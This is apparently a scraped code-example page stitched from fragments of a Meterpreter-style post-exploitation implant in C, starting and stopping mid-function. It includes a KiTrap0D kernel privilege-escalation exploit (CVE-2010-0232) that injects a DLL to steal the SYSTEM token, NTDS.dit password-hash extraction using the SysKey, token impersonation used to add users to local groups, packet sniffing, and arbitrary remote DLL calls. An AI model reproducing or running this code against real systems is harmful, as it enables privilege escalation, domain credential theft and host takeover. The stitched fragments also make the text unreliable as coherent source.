cleanup:
	free(token_list);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
	{
		ImpersonateLoggedOnUser(saved_token);
	}

	return ERROR_SUCCESS;
}
Пример #21
0
DWORD request_sniffer_capture_start(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	unsigned int ifid;
	unsigned int maxp;
	CaptureJob *j;
	DWORD result;
	HANDLE ifh;

#ifndef _WIN32
	char errbuf[PCAP_ERRBUF_SIZE+4];
	char *name;
#endif

	check_pssdk();
	dprintf("sniffer>> start_capture()");

	ifid = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_INTERFACE_ID);
	maxp = packet_get_tlv_value_uint(packet, TLV_TYPE_SNIFFER_PACKET_COUNT);
	maxp = min(maxp, SNIFFER_MAX_QUEUE);
	maxp = max(maxp, 1);

	result = ERROR_SUCCESS;

	do
	{
		// the interface is invalid
		if (ifid == 0 || ifid >= SNIFFER_MAX_INTERFACES)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

#ifdef _WIN32
		ifh = pktsdk_interface_by_index(ifid);
		if (ifh == NULL)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}
#else
		ifh = ifid;
#endif

		j = &open_captures[ifid];

		// the interface is already being captured
		if (j->active)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

#ifdef _WIN32
		j->adp = AdpCreate();
		dprintf("sniffer>> capture_start() AdpCreate: 0x%.8x", j->adp);

		AdpSetConfig(j->adp, ifh);
		hErr = AdpOpenAdapter(j->adp);
		dprintf("sniffer>> capture_start() AdpOpenAdapter: 0x%.8x", hErr);

		if (hErr != HNERR_OK)
		{
			AdpDestroy(j->adp);
			result = hErr;
			break;
		}

		j->capture_linktype = 1; //  LINKTYPE_ETHERNET forced on windows
#else
		name = get_interface_name_by_index(ifh);

		if(!name)
		{
			result = ERROR_INVALID_PARAMETER;
			break;
		}

		j->pcap = pcap_open_live(name, 65535, 1, 1000, errbuf);
		if(!j->pcap)
		{
			result = EACCES;
			break;
		}

		j->capture_linktype = dlt_to_linktype(pcap_datalink(j->pcap)); // get the datalink associated with the capture, needed when saving pcap file
		if (-1 == j->capture_linktype)
		{
			j->capture_linktype = 1; // force to LINKTYPE_ETHERNET in case of error
		}

		if(packet_filter)
		{
			struct bpf_program bpf;
			char *add_filter;
			char *real_filter = NULL;
			int rc;

			dprintf("handling packet_filter");

			add_filter = packet_get_tlv_value_string(packet, TLV_TYPE_SNIFFER_ADDITIONAL_FILTER);

			dprintf("add_filter = %p (%s)", add_filter, add_filter ? add_filter : "");

			if(add_filter)
			{
				asprintf(&real_filter, "%s and (%s)", packet_filter, add_filter);
			}
			else
			{
				real_filter = strdup(packet_filter);
			}

			dprintf("the real filter string we'll be using is '%s'", real_filter);

			rc = pcap_compile(j->pcap, &bpf, real_filter, 1, 0);
			free(real_filter);

			if(rc == -1)
			{
				dprintf("pcap compile reckons '%s' is a failure because of '%s'",
					real_filter, pcap_geterr(j->pcap));

				result = ERROR_INVALID_PARAMETER;
				break;
			}

			dprintf("compiled filter, now setfilter()'ing");

			rc = pcap_setfilter(j->pcap, &bpf);
			pcap_freecode(&bpf);

			if(rc == -1)
			{
				dprintf("can't set filter because '%s'", pcap_geterr(j->pcap));

				result = ERROR_INVALID_PARAMETER;
				break;
			}

			dprintf("filter applied successfully");
		}

		j->thread = thread_create((THREADFUNK) sniffer_thread, j, NULL, NULL);

		if(! j->thread)
		{
			pcap_close(j->pcap);
			break;
		}

#endif

		j->pkts = calloc(maxp, sizeof(*(j->pkts)));
		if (j->pkts == NULL) {
#ifdef _WIN32
			AdpCloseAdapter(j->adp);
			AdpDestroy(j->adp);
#else
			pcap_close(j->pcap);
#endif
			result = ERROR_ACCESS_DENIED;
			break;
		}

		j->active = 1;
		j->intf = ifid;
		j->max_pkts = maxp;
		j->cur_pkts = 0;
		j->mtu = AdpCfgGetMaxPacketSize(AdpGetConfig(j->adp));

#ifdef _WIN32
		AdpSetOnPacketRecv(j->adp, (FARPROC)sniffer_receive, (DWORD_PTR)j);
		AdpSetMacFilter(j->adp, mfAll);
#else
		thread_run(j->thread);
#endif

	} while (0);

	packet_transmit_response(result, remote, response);
	return ERROR_SUCCESS;
}
Пример #22
0
// Single-request railgun API
DWORD request_railgun_api(Remote *remote, Packet *packet)
{
	DWORD bufferSizeOUT,bufferSizeIN,bufferSizeINOUT,stackSizeInElements;
	BYTE * bufferIN=NULL;
	BYTE * bufferOUT=NULL;
	BYTE * bufferINOUT=NULL;
	DWORD * stack = NULL;
	DWORD returnValue; // returnValue of the function
	const DWORD * stackDescriptorBuffer; // do not free! Just convenience ptr to TLV
	Tlv stackDescriptorTlv;
	const char * dllName;
	const char * funcName;
	HMODULE hDll;
	void * funcAddr;
	DWORD ii;
	DWORD lastError;
	Packet *response;

	dprintf("request_railgun_api()");

	// Prepare the OUT-Buffer (undefined content)
	bufferSizeOUT = packet_get_tlv_value_uint(packet, TLV_TYPE_RAILGUN_SIZE_OUT);
	dprintf("bufferSizeOUT == %d",bufferSizeOUT);
	if (bufferSizeOUT != 0){
		bufferOUT = (BYTE *)malloc(bufferSizeOUT);
		memset(bufferOUT,'A',bufferSizeOUT); // this might help catch bugs
	}
	dprintf("bufferOUT @ 0x%08X",bufferOUT);


	// get the IN-Buffer
	dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
	bufferIN = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_IN,&bufferSizeIN);
	dprintf("bufferIN @ 0x%08X",bufferIN);
	if (bufferIN == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_IN");
		goto cleanup;
	}
	dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_IN, size %d",bufferSizeIN);

	// get the INOUT-Buffer
	dprintf("Getting TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
	bufferINOUT = getRawDataCopy(packet,TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT,&bufferSizeINOUT);
	dprintf("bufferINOUT @ 0x%08X",bufferINOUT);
	if (bufferINOUT == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT");
		goto cleanup;
	}
	dprintf("got TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT, size %d",bufferSizeINOUT);

	// Get DLLNAME
	dllName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_DLLNAME);
	if (dllName == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_DLLNAME");
		goto cleanup;
	}
	dprintf("TLV_TYPE_RAILGUN_DLLNAME. %s: ",dllName);
	// Get funcNAME
	funcName = packet_get_tlv_value_string(packet,TLV_TYPE_RAILGUN_FUNCNAME);
	if (funcName == NULL){
		dprintf("request_railgun_api: Could not get TLV_TYPE_RAILGUN_FUNCNAME");
		goto cleanup;
	}
	dprintf("TLV_TYPE_RAILGUN_FUNCNAME. %s: ",funcName);

	// get address of function
	hDll = LoadLibraryA(dllName); // yes this increases the counter. lib should never be released. maybe the user just did a WSAStartup etc.
	if (hDll == NULL){
		dprintf("LoadLibraryA() failed");
		goto cleanup;
	}
	funcAddr = (void*)GetProcAddress(hDll,funcName);
	if (funcAddr == NULL){
		dprintf("GetProcAddress() failed");
		goto cleanup;
	}

	// get the Stack-description (1 DWORD description, 1 DWORD data)
	dprintf("Getting TLV_TYPE_RAILGUN_STACKBLOB");
	if (packet_get_tlv(packet, TLV_TYPE_RAILGUN_STACKBLOB, &stackDescriptorTlv) != ERROR_SUCCESS){
		dprintf("packet_get_tlv failed");
		goto cleanup;
	}
	dprintf("Got TLV_TYPE_RAILGUN_STACKBLOB, size %d",stackDescriptorTlv.header.length);
	if ((stackDescriptorTlv.header.length % (2*sizeof(DWORD))) != 0){
		dprintf("TLV_TYPE_RAILGUN_STACKBLOB: blob size makes no sense");
	}
	dprintf("Function at 0x%08X.",funcAddr);


	stackSizeInElements = stackDescriptorTlv.header.length / (2*sizeof(DWORD));
	stackDescriptorBuffer = (DWORD*) stackDescriptorTlv.buffer;
	stack = (DWORD*) malloc((stackSizeInElements)*sizeof(DWORD));
	dprintf("Stack blob size: 0x%X",stackDescriptorTlv.header.length);
	dprintf("stackSizeInElements: %d",stackSizeInElements);
	dprintf("stack @ 0x%08X",stack);

	// To build the stack we have to process the items.
	// depending on their types the items are
	// 0 - literal values
	// 1 = relative pointers to bufferIN. Must be converted to absolute pointers
	// 2 = relative pointers to bufferOUT. Must be converted to absolute pointers
	// 3 = relative pointers to bufferINOUT. Must be converted to absolute pointers
	for (ii=0; ii<stackSizeInElements; ii++){
		DWORD itemType,item;
		itemType = stackDescriptorBuffer[ii*2];
		item = stackDescriptorBuffer[ii*2+1];
		switch(itemType){
			case 0:	// do nothing. item is a literal value
					dprintf("Param %d is literal:0x%08X.",ii,item);
					stack[ii] = item;
					break;
			case 1:	// relative ptr to bufferIN. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferIN);
					dprintf("Param %d is relative to bufferIn: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			case 2:	// relative ptr to bufferOUT. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferOUT);
					dprintf("Param %d is relative to bufferOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			case 3:	// relative ptr to bufferINOUT. Convert to absolute Ptr
					stack[ii] = item + ((DWORD)bufferINOUT);
					dprintf("Param %d is relative to bufferINOUT: 0x%08X => 0x%08X",ii,item,stack[ii]);
					break;
			default:
				dprintf("Invalid stack item description %d for item %d",itemType,ii);
				goto cleanup;
		}
	}

	dprintf("calling function..");
	SetLastError(0);
	// written for readability. 
	// The compiler MUST use EBP to reference variables, sinde  we are messing with ESP.
	// In MSVC parlance "Omit Frame pointers" OFF!
	__asm{	
		pusha
		// save ESP
		mov EBX,ESP

		//"push" all params on the stack
		mov ECX,[stackSizeInElements]
		mov ESI,[stack]
		sub ESP,ECX  
		sub ESP,ECX  
		sub ESP,ECX  
		sub ESP,ECX  
		mov EDI,ESP
		cld
		rep movsd
		//and call!
		mov eax,[funcAddr]
		call eax
		// restore stack. no matter the calling convention
		mov esp,ebx // starting here we can use vars again
		mov [returnValue],EAX
		popa
	}
	lastError = GetLastError(); //must be called immediately after function

	dprintf("called function => %d",lastError);
	
	// time to ship stuff back
	response = packet_create_response(packet);
	dprintf("created return packet");
	packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_ERR,lastError);
	packet_add_tlv_uint(response, TLV_TYPE_RAILGUN_BACK_RET, returnValue);
	packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT,bufferOUT,bufferSizeOUT);
	packet_add_tlv_raw(response, TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT,bufferINOUT,bufferSizeINOUT);
	dprintf("added stuff");
	packet_transmit_response(ERROR_SUCCESS, remote, response);
	dprintf("transmitted back");

cleanup: // todo: transmit error message on failure
	dprintf("request_railgun_api: cleanup");
	if (bufferIN != NULL) {free(bufferIN);}
	if (bufferOUT != NULL) {free(bufferOUT);}
	if (bufferINOUT != NULL) {free(bufferINOUT);}
	if (stack != NULL) {free(stack);}
	return 0;
}
Пример #23
0
/*
 * (CVE-2010-0232)
 */
DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
{
	DWORD dwResult              = ERROR_SUCCESS;
	HANDLE hVdm                 = NULL;
	HANDLE hThread              = NULL;
	LPVOID lpServiceBuffer      = NULL;
	LPVOID lpRemoteCommandLine  = NULL;
	char cWinDir[MAX_PATH]      = {0};
	char cVdmPath[MAX_PATH]     = {0};
	char cCommandLine[MAX_PATH] = {0};
	DWORD dwExitCode            = 0;
	DWORD dwKernelBase          = 0;
	DWORD dwOffset              = 0;
	DWORD dwServiceLength       = 0;

	do
	{
		// only works on x86 systems...
		if( elevate_getnativearch() != PROCESS_ARCH_X86 )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT );

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." );

		dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH );
		lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL );

		if( !dwServiceLength || !lpServiceBuffer )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS );

		// 1. first get a file path to a suitable exe...
		if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );

		// 2. Scan kernel image for the required code sequence, and find the base address...
		if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE );
		
		// 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable...

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" );
		
		if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) )
			BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE );

		// 4. Use RDI to inject the elevator dll into the remote NTVDM process...
		//    Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique.

		_snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset );

		// alloc some space and write the commandline which we will pass to the injected dll...
		lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 
		if( !lpRemoteCommandLine )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" ); 

		if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" ); 

		// inject the dll...
		hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine );
		if( !hThread )
			BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" ); 

		// 5. Wait for the thread to complete
		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread );
		WaitForSingleObject( hThread, INFINITE );

		// pass some information back via the exit code to indicate what happened.
		GetExitCodeThread( hThread, &dwExitCode );

		dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode );
		
		switch( dwExitCode )
		{
			case 'VTIB':
				// A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that
				// matches what the kernel expects.
				// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode );
			case 'NTAV':
				// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
				// expects to be present.
				// The exploit thread reports it didn't work.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode );
			case 'VDMC':
				// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
				// It's entirely undocumented, so you'll have to use kd to step through it and find out why
				// it's failing.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode );
			case 'LPID':
				// This exploit will try to transplant the token from PsInitialSystemProcess on to an
				// unprivileged process owned by you.
				// PsLookupProcessByProcessId() failed when trying to find your process.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode );
			case FALSE:
				// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
				// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode );
			case 'w00t':
				// This means the exploit payload was executed at ring0 and succeeded.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS );
			default:
				// Unknown error. Sorry, you're on your own.
				BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode );
		}

	} while( 0 );

	if( hVdm )
	{
		TerminateProcess( hVdm, 0 );
		CloseHandle( hVdm );
	}

	if( hThread )
		CloseHandle( hThread );

	return dwResult;
}
Пример #24
0
/*
 * Handles the open request for a file channel and returns a valid channel
 * identifier to the requestor if the file is opened successfully
 */
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet)
{
	Packet *response = NULL;
	PCHAR filePath, mode;
	DWORD res = ERROR_SUCCESS;
	DWORD flags = 0;
	Channel *newChannel = NULL;
	PoolChannelOps chops = { 0 };
	FileContext *ctx;
	LPSTR expandedFilePath = NULL;

	do
	{
		// Allocate a response
		response = packet_create_response(packet);

		// Get the channel flags
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

		// Allocate storage for the file context
		if (!(ctx = (FileContext *)malloc(sizeof(FileContext))))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the file path and the mode
		filePath = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH);
		mode     = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_MODE);

		// No file path? bogus.
		if (!filePath)
		{
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		// Expand the file path
		if (!(expandedFilePath = fs_expand_path(filePath)))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}
	
		if (!mode)
			mode = "rb";

		// Invalid file?
		if (!(ctx->fd = fopen(expandedFilePath, mode)))
		{
			res = GetLastError();
			break;
		}

		memset(&chops, 0, sizeof(chops));

		// Initialize the pool operation handlers
		chops.native.context = ctx;
		chops.native.write   = file_channel_write;
		chops.native.close   = file_channel_close;
		chops.read           = file_channel_read;
		chops.eof            = file_channel_eof;
		chops.seek           = file_channel_seek;
		chops.tell           = file_channel_tell;

		// Check the response allocation & allocate a un-connected
		// channel
		if ((!response) ||
		    (!(newChannel = channel_create_pool(0, flags,
				&chops))))
		{
			res = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Add the channel identifier to the response
		packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, 
				channel_get_id(newChannel));

	} while (0);

	// Transmit the packet if it's valid
	packet_transmit_response(res, remote, response);

	// Clean up on failure
	if (res != ERROR_SUCCESS)
	{
		if (newChannel)
			channel_destroy(newChannel, NULL);
		if (ctx)
			free(ctx);
	}

	// Free the expanded file path if it was allocated
	if (expandedFilePath)
		free(expandedFilePath);

	return res;
}
Пример #25
0
// This is the raw NTDS command function. When the remote user
// sends a command request for extapi_ntds_parse, this function fires.
// It calls the setup routines for our Jet Instance, attaches the isntance
// to the NTDS.dit database the user specified, and creates our channel.
// The user interacts with the NTDS database through that channel from that point on.
DWORD ntds_parse(Remote *remote, Packet *packet)
{
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
	PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
	// Check if the File exists
	if (0xffffffff == GetFileAttributes(filePath)) {
		res = 2;
		goto out;
	}
	strncpy_s(ntdsState->ntdsPath, 255, filePath, 254);

	// Attempt to get the SysKey from the Registry
	unsigned char sysKey[17];
	if (!get_syskey(sysKey)) {
		res = GetLastError();
		goto out;
	}

	JET_ERR startupStatus = engine_startup(ntdsState);
	if (startupStatus != JET_errSuccess) {
		res = startupStatus;
		goto out;
	}

	// Start a Session in the Jet Instance
	JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL);
	if (sessionStatus != JET_errSuccess) {
		JetTerm(ntdsState->jetEngine);
		res = sessionStatus;
		goto out;
	}
	JET_ERR openStatus = open_database(ntdsState);
	if (openStatus != JET_errSuccess) {
		JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
		JetTerm(ntdsState->jetEngine);
		res = openStatus;
		goto out;
	}
	JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable);
	if (tableStatus != JET_errSuccess) {
		engine_shutdown(ntdsState);
		res = tableStatus;
		goto out;
	}

	// Create the structure for holding all of the Column Definitions we need
	struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns));

	JET_ERR columnStatus = get_column_info(ntdsState, accountColumns);
	if (columnStatus != JET_errSuccess) {
		engine_shutdown(ntdsState);
		free(accountColumns);
		res = columnStatus;
		goto out;
	}
	JET_ERR pekStatus;
	struct encryptedPEK *pekEncrypted = calloc(1,sizeof(struct encryptedPEK));
	struct decryptedPEK *pekDecrypted = calloc(1,sizeof(struct decryptedPEK));

	// Get and Decrypt the Password Encryption Key (PEK)
	pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted);
	if (pekStatus != JET_errSuccess) {
		res = pekStatus;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}
	if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) {
		res = GetLastError();
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}
	// Set our Cursor on the first User record
	JET_ERR cursorStatus = find_first(ntdsState);
	if (cursorStatus != JET_errSuccess) {
		res = cursorStatus;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}
	cursorStatus = next_user(ntdsState, accountColumns);
	if (cursorStatus != JET_errSuccess) {
		res = cursorStatus;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}

	// If we made it this far, it's time to set up our channel
	PoolChannelOps chops;
	Channel *newChannel;
	memset(&chops, 0, sizeof(chops));

	NTDSContext *ctx;
	// Allocate storage for the NTDS context
	if (!(ctx = calloc(1, sizeof(NTDSContext)))) {
		res = ERROR_NOT_ENOUGH_MEMORY;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}

	ctx->accountColumns = accountColumns;
	ctx->ntdsState = ntdsState;
	ctx->pekDecrypted = pekDecrypted;

	// Initialize the pool operation handlers
	chops.native.context = ctx;
	chops.native.close = ntds_channel_close;
	chops.read = ntds_channel_read;
	if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
	{
		res = ERROR_NOT_ENOUGH_MEMORY;
		free(accountColumns);
		free(pekEncrypted);
		free(pekDecrypted);
		engine_shutdown(ntdsState);
		goto out;
	}

	channel_set_type(newChannel, "ntds");
	packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));

out:
	packet_transmit_response(res, remote, response);
	return ERROR_SUCCESS;
}
DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
{
   	DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
   	NET_API_STATUS nStatus;
	LOCALGROUP_MEMBERS_INFO_3 localgroup_member;
	SavedToken *token_list = NULL;
	HANDLE saved_token;
	wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
	char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";

	// Read arguments
	Packet *response = packet_create_response(packet);
	dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
	groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
	username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);

	mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
	mbstowcs(username_u, username, strlen(username)+1);
	mbstowcs(groupname_u, groupname, strlen(groupname)+1);

	localgroup_member.lgrmi3_domainandname = username_u;

	// Save current thread token if one is currently being impersonated
	if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
		saved_token = INVALID_HANDLE_VALUE;

	token_list = get_token_list(&num_tokens);
	if (!token_list)
	{
		sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
		goto cleanup;
	}

	sprintf(return_value, "[*] Attempting to add user %s to localgroup %s on host %s\n", username, groupname, dc_netbios_name);

	// Attempt to add user to localgroup with every token
	for (i=0;i<num_tokens;i++)
	if (token_list[i].token)
	{
		// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
		if (!_stricmp("NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
			continue;

		ImpersonateLoggedOnUser(token_list[i].token);
		nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1);
		RevertToSelf();

   		switch (nStatus)
   		{
			case ERROR_ACCESS_DENIED:
			case ERROR_LOGON_FAILURE: // unknown username or bad password
			case ERROR_INVALID_PASSWORD:
				break;
			case NERR_Success:
				strncat(return_value, "[+] Successfully added user to local group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_InvalidComputer:
				strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case ERROR_NO_SUCH_MEMBER:
				strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case NERR_GroupNotFound:
			case 1376: // found by testing (also group not found)
				strncat(return_value, "[-] Local group not found\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			case ERROR_MEMBER_IN_ALIAS:
				strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
			default:
				sprintf(temp, "Unknown error: %d \n", nStatus);
				strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
				goto cleanup;
		}
	}

	strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);

cleanup:
	for (i=0;i<num_tokens;i++)
		CloseHandle(token_list[i].token);
	free(token_list);

	packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
	packet_transmit_response(ERROR_SUCCESS, remote, response);

	// Restore token impersonation
	if (saved_token != INVALID_HANDLE_VALUE)
		ImpersonateLoggedOnUser(saved_token);

	return ERROR_SUCCESS;
}
Пример #27
0
DWORD request_core_loadlib(Remote *remote, Packet *packet) {
	Packet *response = packet_create_response(packet);
	DWORD res = ERROR_SUCCESS;
	HMODULE library;
	PCHAR libraryPath;
	DWORD flags = 0;
	PCHAR targetPath;
	int local_error = 0;
	Command *command;
	Command *first = extensionCommands;

	do {
		Tlv dataTlv;

		libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH);
		flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS);

		// Invalid library path?
		if (!libraryPath) {
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		if (flags & LOAD_LIBRARY_FLAG_LOCAL) {
			// i'd be surprised if we could load
			// libraries off the remote system without breaking severely.
			res = ERROR_NOT_SUPPORTED;
			break;
		}

		// Get the library's file contents
		if ((packet_get_tlv(packet, TLV_TYPE_DATA,
			&dataTlv) != ERROR_SUCCESS) ||
			(!(targetPath = packet_get_tlv_value_string(packet,
			TLV_TYPE_TARGET_PATH)))) {
			res = ERROR_INVALID_PARAMETER;
			break;
		}

		dprintf("targetPath: %s", targetPath);

		library = dlopenbuf(targetPath, dataTlv.buffer, dataTlv.header.length);
		dprintf("dlopenbuf(%s): %08x / %s", targetPath, library, dlerror());
		if (!library) {
			res = ERROR_NOT_FOUND;
			break;
		}

		// If this library is supposed to be an extension library, try to
		// call its Init routine
		if (flags & LOAD_LIBRARY_FLAG_EXTENSION) {
			PEXTENSION pExtension = (PEXTENSION)malloc(sizeof(EXTENSION));
			if (!pExtension) {
				res = ERROR_NOT_ENOUGH_MEMORY;
				break;
			}
			//DWORD(*init)(Remote *remote);

			pExtension->init = dlsym(library, "InitServerExtension");

			// Call the init routine in the library
			if (pExtension->init) {
				dprintf("calling InitServerExtension");
				pExtension->end = first;
				res = pExtension->init(remote);
				pExtension->start = extensionCommands;
				pExtension->getname = dlsym(library, "GetExtensionName");
				pExtension->deinit = dlsym(library, "DeinitServerExtension");

				if (pExtension->getname) {
					pExtension->getname(pExtension->name, sizeof(pExtension->name));
				}
				list_push(gExtensionList, pExtension);
			}
			else {
				free(pExtension);
			}

			if (response) {
